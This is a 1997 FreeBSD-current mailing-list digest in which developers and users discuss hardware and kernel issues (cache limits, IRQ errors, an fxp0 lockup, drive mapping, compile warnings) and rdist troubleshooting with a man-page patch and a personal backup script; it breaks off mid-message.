(envelope-from owner-freebsd-current) Received: from conductor.synapse.net (conductor.synapse.net [199.84.54.18]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id IAA20647 for ; Wed, 5 Nov 1997 08:45:24 -0800 (PST) (envelope-from evanc@synapse.net) Received: (qmail 25761 invoked from network); 5 Nov 1997 16:45:18 -0000 Received: from cello.synapse.net (199.84.54.81) by conductor.synapse.net with SMTP; 5 Nov 1997 16:45:18 -0000 Date: Wed, 5 Nov 1997 11:45:17 -0500 (EST) From: Evan Champion To: Chris Timmons cc: freebsd-current@FreeBSD.ORG Subject: Re: operator not member of group operator? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 5 Nov 1997, Chris Timmons wrote: > > I get burned by this every time I set up amanda and make /etc/dumpdates > group operator, group writeable. If no-one has changed this yet, any > objections? Funny you should mention amanda, as that was exactly what I was setting up when I ran in to this problem :-) IMHO, it only makes sense for operator to be in group operator. Otherwise, why bother having the userid at all. Evan From owner-freebsd-current Wed Nov 5 09:01:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA21852 for current-outgoing; Wed, 5 Nov 1997 09:01:44 -0800 (PST) (envelope-from owner-freebsd-current) Received: from picnic.mat.net (picnic.mat.net [206.246.122.117]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA21822 for ; Wed, 5 Nov 1997 09:01:32 -0800 (PST) (envelope-from chuckr@glue.umd.edu) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.8.7/8.8.5) with SMTP id KAA03828; Wed, 5 Nov 1997 10:58:40 -0500 (EST) X-Authentication-Warning: picnic.mat.net: chuckr owned process doing -bs Date: Wed, 5 Nov 1997 10:58:39 -0500 (EST) From: Chuck Robey X-Sender: chuckr@localhost To: Bob K cc: freebsd-current@FreeBSD.ORG Subject: Re: memory out of range??? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 5 Nov 1997, Bob K wrote: > On Wed, 5 Nov 1997, Mike Smith wrote: > > > > > > > One minor problem (not related to the bounce problem): P-II processors > > > don't cache above 512MB. > > > > Is this addressed by the (rumoured?) PII's with 1024K caches? > > I could be wrong about this, but I thought that the amount of memory that > is cachable is dependant upon the chipset that the motherboard is using, > rather than the processor itself. Or is this different now that the L2 > cache is located in the chip (cartridge)? The Pentiums cache off the main chip, so the chipset gets into the loop. The Pentium Pros cache inside the chip, so the chipset doesn't get involved. Actually, the Pentium Pros _do_ go off-chip, but the chip is inside the limits of the IC package, it doesn't go to a separate memory array. This means the access of cache memory is faster. One the Pentiums, it's at bus speed, on the PPros, it's at processor speed. To illustrate, my Pentium 166 has a bus speed of 66 MHz, and that's the speed it accesses cache at. The PPro I have is a 166 also, and accesses cache at 166 MHz, not 66 MHz, which is quite a speedup. You can't upgrade the cache without swapping out the CPU, tho, on the PPros. > > > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@glue.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-current Wed Nov 5 10:12:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA26123 for current-outgoing; Wed, 5 Nov 1997 10:12:31 -0800 (PST) (envelope-from owner-freebsd-current) Received: from Ilsa.StevesCafe.com (Ilsa.StevesCafe.com [205.168.119.129]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA26113; Wed, 5 Nov 1997 10:12:26 -0800 (PST) (envelope-from fbsd@Ilsa.StevesCafe.com) Received: from Ilsa.StevesCafe.com (localhost [127.0.0.1]) by Ilsa.StevesCafe.com (8.8.7/8.8.5) with ESMTP id LAA28697; Wed, 5 Nov 1997 11:12:17 -0700 (MST) Message-Id: <199711051812.LAA28697@Ilsa.StevesCafe.com> X-Mailer: exmh version 2.0gamma 1/27/96 From: Steve Passe To: Poul-Henning Kamp cc: current@FreeBSD.ORG Subject: Re: sio multiport irq problem In-reply-to: Your message of "Wed, 05 Nov 1997 12:18:41 +0100." <546.878728721@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 05 Nov 1997 11:12:17 -0700 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, > > HELP! > > sio0 at 0x3f8-0x3ff irq 4 on isa > sio0: type 16550A > sio1 at 0x2f8-0x2ff irq 3 on isa > sio1: type 16550A > sio2 at 0x2a0-0x2a7 irq 10 flags 0x10285 on isa > sio2: type 16550A (multiport master) > Freeing (NOT implemented) redirected ISA irq 10. the SMP code is involved here... > create_intr: requested irq-1 too high, limit is 23 looks like someone is using the (-1), ie ERROR result, as an IRQ value. This is returned by the SMP code that converts the redirected PCI IRQs to real APIC IRQs. Is this a PCI card, or is other breakage involved? My guess is that some plug-n-pray code is crossing paths with SMP code. -- Steve Passe | powered by smp@csn.net | Symmetric MultiProcessor FreeBSD From owner-freebsd-current Wed Nov 5 11:27:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA01034 for current-outgoing; Wed, 5 Nov 1997 11:27:11 -0800 (PST) (envelope-from owner-freebsd-current) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA01020 for ; Wed, 5 Nov 1997 11:27:04 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id UAA00640; Wed, 5 Nov 1997 20:25:34 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Steve Passe cc: current@FREEBSD.ORG Subject: Re: sio multiport irq problem In-reply-to: Your message of "Wed, 05 Nov 1997 11:12:17 MST." <199711051812.LAA28697@Ilsa.StevesCafe.com> Date: Wed, 05 Nov 1997 20:25:33 +0100 Message-ID: <636.878757933@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FREEBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message <199711051812.LAA28697@Ilsa.StevesCafe.com>, Steve Passe writes: >Hi, > >> >> HELP! >> >> sio0 at 0x3f8-0x3ff irq 4 on isa >> sio0: type 16550A >> sio1 at 0x2f8-0x2ff irq 3 on isa >> sio1: type 16550A >> sio2 at 0x2a0-0x2a7 irq 10 flags 0x10285 on isa >> sio2: type 16550A (multiport master) >> Freeing (NOT implemented) redirected ISA irq 10. > >the SMP code is involved here... > >> create_intr: requested irq-1 too high, limit is 23 > >looks like someone is using the (-1), ie ERROR result, as an IRQ value. >This is returned by the SMP code that converts the redirected PCI IRQs >to real APIC IRQs. Is this a PCI card, or is other breakage involved? >My guess is that some plug-n-pray code is crossing paths with SMP code. It's a plain ISA 4xsio card in a Intel "Providence" motherboard... -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-current Wed Nov 5 12:48:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA07075 for current-outgoing; Wed, 5 Nov 1997 12:48:41 -0800 (PST) (envelope-from owner-freebsd-current) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA07060 for ; Wed, 5 Nov 1997 12:48:30 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id VAA00871; Wed, 5 Nov 1997 21:44:14 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Steve Passe cc: current@FREEBSD.ORG Subject: Re: sio multiport irq problem In-reply-to: Your message of "Wed, 05 Nov 1997 11:12:17 MST." <199711051812.LAA28697@Ilsa.StevesCafe.com> Date: Wed, 05 Nov 1997 21:44:12 +0100 Message-ID: <869.878762652@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FREEBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message <199711051812.LAA28697@Ilsa.StevesCafe.com>, Steve Passe writes: >> >> HELP! >> >> sio0 at 0x3f8-0x3ff irq 4 on isa >> sio0: type 16550A >> sio1 at 0x2f8-0x2ff irq 3 on isa >> sio1: type 16550A >> sio2 at 0x2a0-0x2a7 irq 10 flags 0x10285 on isa >> sio2: type 16550A (multiport master) >> Freeing (NOT implemented) redirected ISA irq 10. > >the SMP code is involved here... > >> create_intr: requested irq-1 too high, limit is 23 > >looks like someone is using the (-1), ie ERROR result, as an IRQ value. >This is returned by the SMP code that converts the redirected PCI IRQs >to real APIC IRQs. Is this a PCI card, or is other breakage involved? >My guess is that some plug-n-pray code is crossing paths with SMP code. You won. The PR440FX plug-n-pray code bit me again :-( -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-current Wed Nov 5 12:52:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA07404 for current-outgoing; Wed, 5 Nov 1997 12:52:35 -0800 (PST) (envelope-from owner-freebsd-current) Received: from tgn2.tgn.net (root@tgn2.tgn.net [205.241.85.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA07394 for ; Wed, 5 Nov 1997 12:52:29 -0800 (PST) (envelope-from gemohler@tgn2.tgn.net) Received: (from gemohler@localhost) by tgn2.tgn.net (8.8.5/8.8.5) id OAA08716; Wed, 5 Nov 1997 14:53:16 -0600 (CST) Date: Wed, 5 Nov 1997 14:53:15 -0600 (CST) From: Geoff Mohler To: current@FreeBSD.ORG Subject: Drive Mapping problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello: Here is the basic setup that I have here: Tyan S1680S Tahoe, Pentium II 266, 128MB Adaptec 2940UW pci slot 1, Seagate ST19171W dos C: Adaptec 2940UW pci slot 2, Seagate ST19171W dos D: The problem is, that the machine sees "C:" as 80h, and when you install FreeBSD, it writes the / partition and the other partitions destined for SD0 to that wrong drive..DOS drive "D:", or 81h When you boot, the BIOS attempts to boot from 80h "C:", and of course there is no filesystem there, and you get "No Operating System" error. Why are FreeBSD and the system BIOS mapping different drives to be the boot drive? From owner-freebsd-current Wed Nov 5 14:10:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA12840 for current-outgoing; Wed, 5 Nov 1997 14:10:12 -0800 (PST) (envelope-from owner-freebsd-current) Received: from lamb.sas.com (root@lamb.sas.com [192.35.83.8]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA12763 for ; Wed, 5 Nov 1997 14:09:57 -0800 (PST) (envelope-from jwd@unx.sas.com) Received: from mozart (markham.southpeak.com [192.35.83.31]) by lamb.sas.com (8.8.7/8.8.7) with SMTP id RAA14881 for ; Wed, 5 Nov 1997 17:09:47 -0500 (EST) Received: from iluvatar.unx.sas.com by mozart (5.65c/SAS/Domains/5-6-90) id AA18378; Wed, 5 Nov 1997 17:09:46 -0500 From: "John W. DeBoskey" Received: by iluvatar.unx.sas.com (5.65c/SAS/Generic 9.01/3-26-93) id AA29928; Wed, 5 Nov 1997 17:09:46 -0500 Message-Id: <199711052209.AA29928@iluvatar.unx.sas.com> Subject: fxp0 causes machine lockup To: freebsd-current@freebsd.org Date: Wed, 5 Nov 1997 17:09:45 -0500 (EST) Cc: jwd@unx.sas.com (John W. DeBoskey) X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I've had a problem (which I've ignored until now) with my fxp0 device causing my machine to completely lockup, requiring a power reset to clear. If anyone can give me a clue as to where to start looking, I'll be glad to try and run this down. I have an vx0 device which works, but does not speak correctly with my network appliance fileserver. I have other machines with fxp0 devices installed which work fine with the network appliance fileserver, but don't work in all machines... When I issue the command: ifconfig fxp0 10.26.1.237 netmask 0xffff0000 the machine locks up. ifconfig vx0 10.26.1.237 netmask 0xffff0000 works correctly. I have tried with only the fxp0 card, with the fxp0 card and the vx0 card, and with the fxp0 card in every available pci slot with the same result. Hardware: Dell Optiplex 200MHz PPro (running 3.0-110397-SNAP or 0911) the fxp0 card works like a champ in: Hardware: Dell Optiplex 180MHz Pentium (running 3.0-091197-SNAP) I have tried the 0911 and 1103 snaps on the failing machine with the same result (all tests done using the generic kernel). Note: a Notama SMP/UP fix was put in since the last time this worked. Machine Mem kernel Snap result P6 64MB Generic 0911 fail P6 128MB Generic 0911 fail P6 64MB Generic 1103 fail P6 128MB Generic 1103 fail The oldest SNAP I have lying around is 3.0-970716-SNAP, which exibits the same problem In looking through the archives I found this message which appears to be similar, though with different hardware: >From: "Mike Durian" >Date: Wed, 01 Oct 1997 12:45:27 -0600 >Subject: strange interaction with Pentium and fxp > > I've been chatting with David Greenman about this problem >I'm seeing, but since we've determined it's not really a >fxp driver bug, I'd like to get some input from a wider >audience. > When I boot single user and ifconfig fxp0 I get a PCI >bus failure with a new -current kernel, but don't with >an old kernel. The nature of the PCI bus failure is >that the 430fx chipset never asserts TRDY# for the >read mem multiple command issued by the EtherExpress as >part of its very first DMA. Eventually the command times >out, the PCI cards (including the EtherExpress) get confused >by the invalid PCI command and start throwing interrupts >that aren't normally checked for in the interrupt handler, >thus locking up the system. > So I need to figure out why TRDY# isn't getting asserted >with the new kernel. I've got traces of both a working >instance of this first mem read multiple from an old kernel >and one that fails with the new kernel. The only difference >I can detect is that the old kernel stores the mbuf at >a physical address like 0x2bxx54 and the new one has the >mbuf at 0x3f54 - a much lower memory address. > I should also mention that this problem does not occur >on a Pentium Pro system. I have not stuck my PCI bus >analyzer on the P6 machine, so I'm not positive it uses >the same addresses, but I'm assuming it would. This could >very well be a 430FX chipset bug, but I still need a work >around. > I have not yet verified that this problem exists on a >different Pentium system, so it is possible that it is >specific to the motherboard. > Does anyone have any ideas? > >mike with this single followup from the original poster: >From: "Mike Durian" >Date: Wed, 01 Oct 1997 17:06:05 -0600 >Subject: Re: strange interaction with Pentium and fxp > >On Wed, 01 Oct 1997 12:45:27 MDT, "Mike Durian" wrote: >>The only difference >>I can detect is that the old kernel stores the mbuf at >>a physical address like 0x2bxx54 and the new one has the >>mbuf at 0x3f54 - a much lower memory address. >> I should also mention that this problem does not occur >>on a Pentium Pro system. I have not stuck my PCI bus >>analyzer on the P6 machine, so I'm not positive it uses >>the same addresses, but I'm assuming it would. This could >>very well be a 430FX chipset bug, but I still need a work >>around. > > I'm got a better grasp on the problem now. I tried running >the new kernel on another P6 system and when I experienced the >same problem, I knew it wasn't a chipset bug. The only difference >between the two P6's was the amount of memory. The one that >worked had 64MB and the one that failed on 32MB. When I put >64MB in the one that failed, it started working. Then I put >64MB in the Pentium machine and it too started working. Here's >what I know: > >Machine Mem kernel mbuf Phys Addr. result >P6 64MB new NA OK >P6 32MB new NA fail >P5 32MB new 0x00003f54 fail >P5 32MB old 0x002b9f54 OK >P5 64MB new 0x0009bf54 OK > >Apparently, there is a problem with the EtherExpress card >DMAing data out of host memory at physical address 0x3f54 >using the memory read multiple PCI transaction. > Does anyone know why 0x3f54 would be an unacceptable >address, and does anyone have a fix? > >mike My complete dmesg output follows: Copyright (c) 1992-1997 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 3.0-971102-SNAP #0: Sun Nov 2 10:15:35 GMT 1997 root@make.ican.net:/usr/src/sys/compile/GENERIC CPU: Pentium Pro (199.43-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x617 Stepping=7 Features=0xfbff real memory = 67108864 (65536K bytes) avail memory = 62435328 (60972K bytes) Probing for devices on PCI bus 0: Correcting Natoma config for non-SMP chip0: rev 0x02 on pci0.0.0 chip1: rev 0x00 on pci0.13.0 ide_pci0: rev 0x00 on pci0.13.1 chip2: rev 0x00 on pci0.14.0 vga0: rev 0x00 int a irq 9 on pci0.16.0 vx0: <3COM 3C905 Fast Etherlink XL PCI> rev 0x00 int a irq 15 on pci0.17.0 mii[*mii*] address 00:a0:24:bb:88:3e Probing for devices on PCI bus 1: fxp0: rev 0x04 int a irq 14 on pci1.9.0 fxp0: Ethernet address 00:a0:c9:8b:09:a5 ahc0: rev 0x00 int a irq 11 on pci1.10.0 ahc0: aic7880 Wide Channel, SCSI Id=7, 16 SCBs ahc0: waiting for scsi devices to settle scbus0 at ahc0 bus 0 sd0 at scbus0 target 11 lun 0 sd0: type 0 fixed SCSI 2 sd0: Direct-Access 4095MB (8388315 512 byte sectors) Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> ed0 not found at 0x280 fe0 not found at 0x300 sio0 at 0x3f8-0x3ff irq 4 flags 0x10 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface lpt1 at 0x378-0x37f on isa lpt1 not probed due to I/O address conflict with lpt0 at 0x378 mse0 not found at 0x23c psm0 at 0x60-0x64 irq 12 on motherboard psm0: device ID 0 fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold fd0: 1.44MB 3.5in wdc0 not found at 0x1f0 wdc1 not found at 0x170 bt0 not found at 0x330 uha0 not found at 0x330 aha0 not found at 0x330 aic0 not found at 0x340 nca0 not found at 0x1f88 nca1 not found at 0x350 sea0 not found at 0xffff wt0 not found at 0x300 mcd0 not found at 0x300 matcdc0 not found at 0x230 scd0 not found at 0x230 ie0: unknown board_id: f000 ie0 not found at 0x300 ep0 not found at 0x300 ex0 not found le0 not found at 0x300 lnc0 not found at 0x280 ze0 not found at 0x300 zp0 not found at 0x300 npx0 on motherboard npx0: INT 16 interface changing root device to sd0a WARNING: / was not properly dismounted. -- jwd@unx.sas.com (w) John W. De Boskey (919) 677-8000 x6915 From owner-freebsd-current Wed Nov 5 14:17:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA13467 for current-outgoing; Wed, 5 Nov 1997 14:17:21 -0800 (PST) (envelope-from owner-freebsd-current) Received: from silvia.HIP.Berkeley.EDU (wck-ca4-01.ix.netcom.com [199.35.213.129]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA13348; Wed, 5 Nov 1997 14:16:40 -0800 (PST) (envelope-from asami@vader.cs.berkeley.edu) Received: (from asami@localhost) by silvia.HIP.Berkeley.EDU (8.8.7/8.6.9) id OAA07186; Wed, 5 Nov 1997 14:16:09 -0800 (PST) Date: Wed, 5 Nov 1997 14:16:09 -0800 (PST) Message-Id: <199711052216.OAA07186@silvia.HIP.Berkeley.EDU> To: gemohler@tgn2.tgn.net CC: current@FreeBSD.ORG, se@FreeBSD.ORG In-reply-to: (message from Geoff Mohler on Wed, 5 Nov 1997 14:53:15 -0600 (CST)) Subject: Re: Drive Mapping problem From: asami@cs.berkeley.edu (Satoshi Asami) Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk (Don't know if Stefan is on -current, so quoted in full.) * Date: Wed, 5 Nov 1997 14:53:15 -0600 (CST) * From: Geoff Mohler * * Hello: * * Here is the basic setup that I have here: * Tyan S1680S Tahoe, Pentium II 266, 128MB * Adaptec 2940UW pci slot 1, Seagate ST19171W dos C: * Adaptec 2940UW pci slot 2, Seagate ST19171W dos D: * * The problem is, that the machine sees "C:" as 80h, and when you install * FreeBSD, it writes the / partition and the other partitions destined for * SD0 to that wrong drive..DOS drive "D:", or 81h * * When you boot, the BIOS attempts to boot from 80h "C:", and of course * there is no filesystem there, and you get "No Operating System" error. * * Why are FreeBSD and the system BIOS mapping different drives to be the * boot drive? I don't know why, Stefan will probably tell you (and even fix it) if you send him a boot -v output. In the meantime, you can probably get around it by disabling the SCSI BIOS on the first Adaptec (so it won't be registered as "80h", or "C:", or whatever). Satoshi From owner-freebsd-current Wed Nov 5 14:21:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA13837 for current-outgoing; Wed, 5 Nov 1997 14:21:09 -0800 (PST) (envelope-from owner-freebsd-current) Received: from wall.jhs.no_domain (vector.muc.ditec.de [194.120.126.35]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA13814 for ; Wed, 5 Nov 1997 14:20:58 -0800 (PST) (envelope-from jhs@flip.jhs.no_domain) Received: from flip.jhs.no_domain (localhost [127.0.0.1]) by flip.jhs.no_domain (8.8.5/8.8.5) with ESMTP id WAA07484; Tue, 4 Nov 1997 22:40:19 +0100 (MET) Message-Id: <199711042140.WAA07484@flip.jhs.no_domain> To: "John Brown" cc: freebsd-current@freebsd.org Subject: Re: rdist Alternatives From: "Julian H. Stacey" Reply-To: "Julian H. Stacey" X-Email: Home: Customer: X-Address: Holz Strasse 27d, 80469 Munich, Germany X-Web: http://www.freebsd.org/~jhs/ (including PGP key) X-Address: Holz Strasse 27d, 80469 Munich, Germany X-Tel: Home: +49.89.268616 X-Fax: Home: +49.89.2608126 X-Data: Home: +49.89.26023276 X-Company: Vector Systems Ltd, Unix & Internet Consultants X-Mailer: EXMH 1.6.9 on FreeBSD (Unix) In-reply-to: Your message of "Tue, 04 Nov 1997 12:27:12 EST." <01bce946$e33539b0$65df8bcd@is01.vafibre.com> Date: Tue, 04 Nov 1997 21:40:19 +0000 Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Reference: > From: "John Brown" > Date: Tue, 4 Nov 1997 12:27:12 -0500 > Message-id: <01bce946$e33539b0$65df8bcd@is01.vafibre.com> Hi, "John Brown" wrote: > I have been working for a couple of weeks now to get rdist to work and have > been very unsuccessful. > > So now on to the next option. I need to duplicate my password db to my > secondary radius server. Are there other utilities that I can use to make > this happen? ports/net/ contains mirror I suppose (I dont use mirror tho') > rdist info -- In case someone is interested. I started with a 2.1.x box and > was able to get it to transfer files from this machine to a 2.2.2 box but > could never get it going the other way. So being the smart individual that I > am I upgrade the 2.1.x box to 2.2.5 now -- well you guessed it...Now it > doesn't work either way. When running with the debug flag it appears to bomb > at the first rsh that is executed with a 'permission denied' at this point I > have checked everything that I can think of and am at a loss. rlogin will > work both way's but rsh and rcp AND rdist will not. (all die with the same > message 'Permission Denied'). Nothing in the messages log, NOTHING > AAAAAARRRRRRRGGGGGHHHH!!! I append http://www.freebsd.org/~jhs/src/bsd/fixes/FreeBSD\ /src/gen/usr.bin/rdist/rdist.1.diff dated Mar 31 1997 ... looks like I haven't submitted it via send-pr yet [blush, doing that right now] ... --------- Extension of manual *** old/src/usr.bin/rdist/rdist.1.~1~ Tue Jan 21 19:07:53 1997 --- old/src/usr.bin/rdist/rdist.1 Mon Mar 31 14:07:57 1997 *************** *** 400,409 **** .Sh DIAGNOSTICS A complaint about mismatch of rdist version numbers may really stem from some problem with starting your shell, e.g., you are in too many groups. .Sh BUGS Source files must reside on the local host where .Nm rdist ! is executed. .Pp There is no easy way to have a special command executed after all files in a directory have been updated. --- 400,436 ---- .Sh DIAGNOSTICS A complaint about mismatch of rdist version numbers may really stem from some problem with starting your shell, e.g., you are in too many groups. + .Pp + .Nm Rdist + relies on + .Nm rsh(1) + type remote services executing succesfully & in silence. + If you try something like + .Bd -literal -offset indent + rsh freefall.freebsd.org hostname + .Ed + .sp + & get extra output before the program ( + .Nm hostname(1) + ) output, such as + .Bd -literal -offset indent + Text_perhaps_initiated_from_~/.cshrc_or_similar + freefall.freebsd.org + .Ed + .sp + then the unexpected extra text will cause + .Nm rdist + to fail with the error message: + .Bd -literal -offset indent + rdist: connection failed: version numbers don't match + .Ed + .sp .Sh BUGS Source files must reside on the local host where .Nm rdist ! is executed ! (Note, a ~/public_html that is a symbolic link via NFS to another local host is not ! considered local by rdist, so rdist will not copy it to the remote rdist destination). .Pp There is no easy way to have a special command executed after all files in a directory have been updated. --------- Your problem sounds familiar, I too once had trouble with rdist, but it's been working fine for ages here now though, turned out it was some dot file (or /etc/profile whatever :-) was generating start up noise, & confusing the handshake, tried moving all your (& system etc) dot files aside yet ? I suggest first concentrate on getting a simple rsh to work, if that won't, rdist won't either, I regularly use rdist between my 2.2.2 systems (well, one sys has some kind of stable kernel, but the rest of the systems are 2.2.2 for now) FYI this is my ~/Distfile # desk:~jhs/Distfile # Usage: cd / ; rdist -f ~jhs/Distfile HOSTS = ( desk ) FILES = ( etc ~ ) # The secret /etc files dont get copied ${FILES} -> ${HOSTS} install -R /usr/backup/wall ; & this is the shell I use from crontab & manually: #!/bin/sh # backup.net daily net backup. jhs@freebsd.org hostname=`hostname -s` owner=`whoami` shell_name=`basename $0` log_file=.$shell_name.log day=`date +%Y_%m_%d` case $hostname in # 'flip') # local_src=/usr/p/$owner # remote_host=desk # remote_target=/usr/backup # tmp_dir=/usr/tmp # (cd / ; rdist -f $local_src/Distfile ) ; exit # exit # ;; 'desk') local_src=/usr/p/$owner remote_host=wall remote_target=/usr/backup tmp_dir=/usr/tmp (cd / ; rdist -f $local_src/Distfile ) ; exit exit ;; 'skier') local_src=/usr/p/$owner remote_host=desk remote_target=/usr2/data/backup.net/$owner tmp_dir=/usr/tmp ;; default) echo "hostname not recognised" exit 1 ;; esac todays_log=$tmp_dir/$shell_name.$owner.log tmp_file=$tmp_dir/.$shell_name.$owner.tmp todays_log=$tmp_dir/.backup.$owner.msg.tmp cumulative_log=$local_src/$log_file chat="Started $shell_name $day { `date`" echo "$chat" > $todays_log echo "" >> $cumulative_log ; echo "$chat" >> $cumulative_log # rcp converts sym links to directories, so cant be used. cd $local_src nice tar zcf $tmp_dir/$shell_name.$day.tar.gz . ; \ nice rcp -p $tmp_dir/$shell_name.$day.tar.gz \ $remote_host:$remote_target/$shell_name.$day.tar.gz \ | /bin/sh 2>&1 | cat > $tmp_file rm $tmp_dir/$shell_name.$day.tar.gz cat $tmp_file >> $todays_log cat $tmp_file >> $cumulative_log if [ $local_src_2.x != .x ] then cd $local_src_2 nice tar zcf $tmp_dir/$shell_name.$day.tar.gz . ; \ nice rcp -p $tmp_dir/$shell_name.$day.tar.gz \ $remote_host:$remote_target_2/$shell_name.$day.2.tar.gz \ | /bin/sh 2>&1 | cat >> $tmp_file fi rm $tmp_dir/$shell_name.$day.tar.gz cat $tmp_file >> $todays_log cat $tmp_file >> $cumulative_log chat="Finished } Network Backup `date`" echo "$chat" >> $cumulative_log echo "$chat" >> $todays_log mail -s "Cron: backup.net: Net Backup $0" $owner < $todays_log rm $tmp_file $todays_log Good Luck. Julian -- Julian H. Stacey jhs@freebsd.org http://www.freebsd.org/~jhs/ From owner-freebsd-current Wed Nov 5 14:21:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA13880 for current-outgoing; Wed, 5 Nov 1997 14:21:55 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id OAA13874 for ; Wed, 5 Nov 1997 14:21:48 -0800 (PST) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id XAA12780 for freebsd-current@FreeBSD.ORG; Wed, 5 Nov 1997 23:21:24 +0100 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id XAA17652; Wed, 5 Nov 1997 23:10:06 +0100 (MET) Message-ID: <19971105231006.RB35366@uriah.heep.sax.de> Date: Wed, 5 Nov 1997 23:10:06 +0100 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-current@FreeBSD.ORG Subject: Re: LINT Errors References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Simon Shapiro on Nov 4, 1997 01:07:03 -0800 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Simon Shapiro wrote: > ../../kern/kern_malloc.c: In function `malloc': > ../../kern/kern_malloc.c:136: warning: passing arg 3 of `tsleep' discards > `const' from pointer target type > ../../kern/kern_malloc.c:198: warning: assignment discards `const' from > pointer target type > > [ I admit shamelessly i do not know how t0 silence this one ] By changing the prototype for tsleep(9) to use `const char *' for its third argument. The argument is supposed to be a description, and we do pass constant strings for it all the day. gcc doesn't seem to warn if you pass a string literal (albeit its arranging for the string literal to be in the .text segment). > ../../kern/kern_opt.c:44: warning: #warning "obsolete option GATEWAY - use > `sysctl -w net.inet.ip.forwarding=1'" > > [ Should i do as it says? ] Of course. > ../../i386/i386/sys_machdep.c: In function `i386_get_ioperm': > ../../i386/i386/sys_machdep.c:225: warning: `i' might be used uninitialized > in this function > > [ I routinely initialize these to zero ] ...and thus only hide the actual error. This line state = (iomap[i >> 3] >> (i & 7)) & 1; 